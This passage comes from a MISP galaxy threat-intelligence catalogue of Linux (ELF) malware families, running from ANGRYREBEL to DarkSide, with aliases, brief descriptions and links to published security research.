https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30
https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/
https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://www.netscout.com/blog/asert/dropping-anchor
https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate
https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns

ANGRYREBEL

The tag is: *misp-galaxy:malpedia="ANGRYREBEL"*

ANGRYREBEL is also known as:

- Ghost RAT

Table 1138. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel

https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf
https://www.secureworks.com/research/threat-profiles/bronze-olive

Avoslocker

The tag is: *misp-galaxy:malpedia="Avoslocker"*

Avoslocker is also known as:

Table 1139. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.avoslocker
https://blog.lexfo.fr/Avoslocker.html
https://www.ic3.gov/Media/News/2022/220318.pdf
https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html
https://blogs.blackberry.com/en/2022/04/threat-thursday-avoslocker-prompts-advisory-from-fbi-and-fincen
https://blog.cyble.com/2022/01/17/avoslocker-ransomware-linux-version-targets-vmware-esxi-servers/
https://blog.qualys.com/vulnerabilities-threat-research/2022/03/06/avoslocker-ransomware-behavior-examined-on-windows-linux

azazel

Azazel is a Linux user-mode rootkit based off of a technique from the Jynx rootkit (LD_PRELOAD technique). Azazel is purportedly more robust than Jynx and has many more anti-analysis features

The tag is: *misp-galaxy:malpedia="azazel"*

azazel is also known as:

Table 1140. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.azazel
https://github.com/chokepoint/azazel

B1txor20

B1txor20 is a malware that was discovered by 360 Netlab along others exploiting Log4J. the name is derived from using the file name "b1t", the XOR encrpytion algorithm, and the RC4 algorithm key length of 20 bytes. According to 360 Netlab this Backdoor for Linux platform uses DNS Tunnel to build a C2 communication channel. They also had the assumption that the malware is still in development, because of some bugs and not fully implemented features.

The tag is: *misp-galaxy:malpedia="B1txor20"*

B1txor20 is also known as:

Table 1141. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.b1txor20
https://blog.netlab.360.com/b1txor20-use-of-dns-tunneling_cn/

Babuk (ELF)

ESX and NAS modules for Babuk ransomware.

The tag is: *misp-galaxy:malpedia="Babuk (ELF)"*

Babuk (ELF) is also known as:

Table 1142. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.babuk
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://marcoramilli.com/2021/07/05/babuk-ransomware-the-builder/
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2
https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://raw.githubusercontent.com/antonioCoco/infosec-talks/main/InsomniHack_2022_Ransomware_Encryption_Internals.pdf
https://www.advintel.io/post/groove-vs-babuk-groove-ransom-manifesto-ramp-underground-platform-secret-inner-workings
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/

Backdoorit

According to Avast Decoded, Backdoorit is a multiplatform RAT written in Go programming language and supporting both Windows and Linux/Unix operating systems. In many places in the code it is also referred to as backd00rit.

The tag is: *misp-galaxy:malpedia="Backdoorit"*

Backdoorit is also known as:

- backd00rit

Table 1143. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoorit
https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/

Irc16

The tag is: *misp-galaxy:malpedia="Irc16"*

Irc16 is also known as:

Table 1144. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.backdoor_irc16
https://news.drweb.com/show/?c=5&i=10193&lng=en

Bashlite

The tag is: *misp-galaxy:malpedia="Bashlite"*

Bashlite is also known as:

- Gafgyt
- gayfgt
- lizkebab
- qbot
- torlus

Table 1145. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf
https://cybersecurity.att.com/blogs/labs-research/code-similarity-analysis-with-r2diaphora
https://unit42.paloaltonetworks.com/hoaxcalls-mirai-target-legacy-symantec-web-gateways/

https://www.uptycs.com/blog/mirai-code-re-use-in-gafgyt
https://www.avira.com/en/blog/a-gafgyt-variant-that-exploits-pulse-secure-cve-2020-8218
https://cujo.com/mirai-gafgyt-with-new-ddos-modules-discovered/
https://blog.netlab.360.com/wo-men-kan-dao-de-wu-ke-lan-bei-ddosgong-ji-xi-jie/
https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/
https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/
https://www.uptycs.com/blog/discovery-of-simps-botnet-leads-ties-to-keksec-group
https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/
https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/
https://krebsonsecurity.com/2016/09/krebsonsecurity-hit-with-record-ddos/
http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/

BCMPUPnP_Hunter

The tag is: *misp-galaxy:malpedia="BCMPUPnP_Hunter"*

BCMPUPnP_Hunter is also known as:

Table 1146. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bcmpupnp_hunter
https://blog.netlab.360.com/bcmpupnp_hunter-a-100k-botnet-turns-home-routers-to-email-spammers-en/

Bifrost

Linux version of the bifrose malware that originally targeted Windows platform only. The backdoor has the ability to perform file management, start or end a process, or start a remote shell. The connection is encrypted using a modified RC4 algorithm.

The tag is: *misp-galaxy:malpedia="Bifrost"*

Bifrost is also known as:

- elf.bifrose

Table 1147. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.bifrost
https://teamt5.org/tw/posts/technical-analysis-on-backdoor-bifrost-of-the-Chinese-apt-group-huapi/

BigViktor

A DDoS bot abusing CVE-2020-8515 to target DrayTek Vigor routers. It uses a wordlist-based DGA to generate its C&C domains.

The tag is: *misp-galaxy:malpedia="BigViktor"*

BigViktor is also known as:

Table 1148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bigviktor
https://blog.netlab.360.com/bigviktor-dga-botnet/

BioSet

The tag is: *misp-galaxy:malpedia="BioSet"*

BioSet is also known as:

Table 1149. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bioset
https://twitter.com/IntezerLabs/status/1409844721992749059

BlackCat (ELF)

ALPHV, also known as BlackCat or Noberus, is a ransomware family that is deployed as part of Ransomware as a Service (RaaS) operations. ALPHV is written in the Rust programming language and supports execution on Windows, Linux-based operating systems (Debian, Ubuntu, ReadyNAS, Synology), and VMWare ESXi. ALPHV is marketed as ALPHV on cybercrime forums, but is commonly called BlackCat by security researchers due to an icon of a black cat appearing on its leak site. ALPHV has been observed being deployed in ransomware attacks since November 18, 2021.

ALPHV can be configured to encrypt files using either the AES or ChaCha20 algorithms. In order to maximize the amount of ransomed data, ALPHV can delete volume shadow copies, stop processes and services, and stop virtual machines on ESXi servers. ALPHV can self-propagate by using PsExec to remote execute itself on other hosts on the local network.

The tag is: *misp-galaxy:malpedia="BlackCat (ELF)"*

BlackCat (ELF) is also known as:

- ALPHV
- Noberus

Table 1150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackcat
https://www.bleepingcomputer.com/news/security/hive-ransomware-ports-its-linux-vmware-esxi-encryptor-to-rust/
https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/
https://blog.group-ib.com/blackcat
https://killingthebear.jorgetesta.tech/actors/alphv
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/blackcat-ransomware-as-a-service.html
https://www.forescout.com/resources/analysis-of-an-alphv-incident
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://www.advintel.io/post/blackcat-in-a-shifting-threat-landscape-it-helps-to-land-on-your-feet-tech-dive
https://securelist.com/a-bad-luck-blackcat/106254/
https://twitter.com/sisoma2/status/1473243875158499330
https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments
https://www.theregister.com/2022/03/22/talos-ransomware-blackcat/
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/
https://blog.emsisoft.com/en/40931/ransomware-profile-alphv/

BlackMatter (ELF)

The tag is: *misp-galaxy:malpedia="BlackMatter (ELF)"*

BlackMatter (ELF) is also known as:

Table 1151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackmatter
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.group-ib.com/blackmatter#
https://www.hhs.gov/sites/default/files/demystifying-blackmatter.pdf
https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://medium.com/s2wlab/grooves-thoughts-on-blackmatter-babuk-and-interruption-in-the-supply-of-cheese-in-the-b5328bc764f2
https://twitter.com/VK_Intel/status/1423188690126266370
https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html
https://medium.com/s2wlab/blackmatter-x-babuk-using-the-same-web-server-for-sharing-leaked-files-d01c20a74751
https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/
https://www.bleepingcomputer.com/news/security/linux-version-of-blackmatter-ransomware-targets-vmware-esxi-servers/
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor
https://news.sophos.com/en-us/2021/08/09/blackmatter-ransomware-emerges-from-the-shadow-of-darkside/
https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-2/
https://www.youtube.com/watch?v=NIiEcOryLpI
https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html
https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/
https://twitter.com/GelosSnake/status/1451465959894667275
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://medium.com/s2wlab/groove-x-ramp-the-relation-between-groove-babuk-ramp-and-blackmatter-f75644f8f92d
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.mandiant.com/resources/chasing-avaddon-ransomware
https://us-cert.cisa.gov/ncas/alerts/aa21-291a
https://blog.group-ib.com/blackmatter2

Blackrota

The tag is: *misp-galaxy:malpedia="Blackrota"*

Blackrota is also known as:

Table 1152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.blackrota
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.kryptoslogic.com/blog/2020/12/automated-string-de-gobfuscation/
https://blog.netlab.360.com/blackrota-an-obfuscated-backdoor-written-in-go-en/

Break out the Box

This is a pentesting tool and according to the author, "BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.".

It has been observed being used by TeamTNT in their activities for spreading crypto-mining malware.

The tag is: *misp-galaxy:malpedia="Break out the Box"*

Break out the Box is also known as:

- BOtB

Table 1153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.botb
https://github.com/brompwnie/botb

BotenaGo

According to Alien Labs, this malware targets embedded devices including routers with more than

30 exploits. SourceCode: https://github.com/Egida/kek/blob/19991ef983f838287aa9362b78b4ed8da0929184/loader_multi.go (2021-10-16)

The tag is: *misp-galaxy:malpedia="BotenaGo"*

BotenaGo is also known as:

Table 1154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.botenago
https://cybersecurity.att.com/blogs/labs-research/botenago-strike-again-malware-source-code-uploaded-to-github
https://www.nozominetworks.com/blog/new-botenago-variant-discovered-by-nozomi-networks-labs/
https://lifars.com/2022/01/newly-found-malware-threatens-iot-devices/
https://cybersecurity.att.com/blogs/labs-research/att-alien-labs-finds-new-golang-malwarebotenago-targeting-millions-of-routers-and-iot-devices-with-more-than-30-exploits

BPFDoor

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.

The tag is: *misp-galaxy:malpedia="BPFDoor"*

BPFDoor is also known as:

- JustForFun

Table 1155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bpfdoor
https://blog.qualys.com/vulnerabilities-threat-research/2022/08/01/heres-a-simple-script-to-detect-the-stealthy-nation-state-bpfdoor
https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/ [https://elastic.github.io/security-research/intelligence/2022/05/04.bpfdoor/article/]
https://troopers.de/troopers22/talks/7cv8pz/
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/
https://twitter.com/CraigHRowland/status/1523266585133457408

https://twitter.com/cyb3rops/status/1523227511551033349
https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896

Bvp47

Pangu Lab discovered this backdoor during a forensic investigation in 2013. They refer to related incidents as "Operation Telescreen".

The tag is: *misp-galaxy:malpedia="Bvp47"*

Bvp47 is also known as:

Table 1156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.bvp47
https://thehackernews.com/2022/02/chinese-experts-uncover-details-of.html
https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf
https://www.bleepingcomputer.com/news/security/nsa-linked-bvp47-linux-backdoor-widely-undetected-for-10-years/
https://exatrack.com/public/Tricephalic_Hellkeeper.pdf
https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group.en.pdf
https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group/

Caligula

According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.

The tag is: *misp-galaxy:malpedia="Caligula"*

Caligula is also known as:

Table 1157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.caligula
https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/

Capoae

XMRig-based mining malware written in Go.

The tag is: *misp-galaxy:malpedia="Capoae"*

Capoae is also known as:

Table 1158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.capoae
https://www.akamai.com/blog/security/capoae-malware-ramps-up-uses-multiple-vulnerabilities-and-tactics-to-spread

CDorked

This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech

The tag is: *misp-galaxy:malpedia="CDorked"*

CDorked is also known as:

- CDorked.A

Table 1159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://www.symantec.com/security-center/writeup/2013-050214-5501-99
https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/
https://blogs.cisco.com/security/linuxcdorked-faqs
https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html

CDRThief

The tag is: *misp-galaxy:malpedia="CDRThief"*

CDRThief is also known as:

Table 1160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdrthief
https://www.welivesecurity.com/2020/09/10/who-callin-cdrthief-linux-voip-softswitches/

Cephei

The tag is: *misp-galaxy:malpedia="Cephei"*

Cephei is also known as:

Table 1161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cephei
https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader

Cetus

The tag is: *misp-galaxy:malpedia="Cetus"*

Cetus is also known as:

Table 1162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cetus
https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/

Chapro

The tag is: *misp-galaxy:malpedia="Chapro"*

Chapro is also known as:

Table 1163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html
http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a

Chisel (ELF)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: *misp-galaxy:malpedia="Chisel (ELF)"*

Chisel (ELF) is also known as:

Table 1164. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.chisel
https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/

Cloud Snooper

The tag is: *misp-galaxy:malpedia="Cloud Snooper"*

Cloud Snooper is also known as:

- Snoopy

Table 1165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf

Conti (ELF)

Ransomware

The tag is: *misp-galaxy:malpedia="Conti (ELF)"*

Conti (ELF) is also known as:

- Conti Locker

Table 1166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti
https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf

https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again
https://www.youtube.com/watch?v=cYx7sQRbjGA

Corona DDOS Bot

The tag is: *misp-galaxy:malpedia="Corona DDOS Bot"*

Corona DDOS Bot is also known as:

Table 1167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.corona
https://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/

Cpuminer (ELF)

This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.

The tag is: *misp-galaxy:malpedia="Cpuminer (ELF)"*

Cpuminer (ELF) is also known as:

Table 1168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer
https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/
https://github.com/pooler/cpuminer

Cr1ptT0r

The tag is: *misp-galaxy:malpedia="Cr1ptT0r"*

Cr1ptT0r is also known as:

- CriptTor

Table 1169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r
https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html
https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html
https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/

CronRAT

A malware written in Bash that hides in the Linux calendar system on February 31st. Observed in relation to Magecart attacks.

The tag is: *misp-galaxy:malpedia="CronRAT"*

CronRAT is also known as:

Table 1170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cronrat
https://sansec.io/research/cronrat

CyclopsBlink

According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.

The tag is: *misp-galaxy:malpedia="CyclopsBlink"*

CyclopsBlink is also known as:

Table 1171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink
https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html

https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/
https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a
https://www.theregister.com/2022/03/18/cyclops_asus_routers/
https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf
https://www.justice.gov/opa/press-release/file/1491281/download
https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute
https://attack.mitre.org/groups/G0034
https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/
https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/
https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/

Dacls (ELF)

The tag is: *misp-galaxy:malpedia="Dacls (ELF)"*

Dacls (ELF) is also known as:

Table 1172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dacls
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://blog.netlab.360.com/dacls-the-dual-platform-rat/
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/
https://www.sygnia.co/mata-framework
https://securelist.com/apt-trends-report-q2-2020/97937/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought

Dark

Mirai variant exploiting CVE-2021-20090 and CVE2021-35395 for spreading.

The tag is: *misp-galaxy:malpedia="Dark"*

Dark is also known as:

- Dark.IoT

Table 1173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark
https://twitter.com/ESETresearch/status/1440052837820428298?s=20
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/
https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx
https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx

Dark Nexus

The tag is: *misp-galaxy:malpedia="Dark Nexus"*

Dark Nexus is also known as:

Table 1174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.darknexus
https://www.stratosphereips.org/blog/2020/6/8/dark-nexus-the-old-the-new-and-the-ugly
https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html

DarkSide (ELF)

The tag is: *misp-galaxy:malpedia="DarkSide (ELF)"*

DarkSide (ELF) is also known as:

Table 1175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside

https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/
https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/
https://blog.group-ib.com/blackmatter#
https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636
https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/
https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html
https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted
https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/
https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access
https://therecord.media/popular-hacking-forum-bans-ransomware-ads/
https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212
https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/
https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b
https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside
https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/
https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://www.ic3.gov/Media/News/2021/211101.pdf
https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/
https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin
https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/
https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/
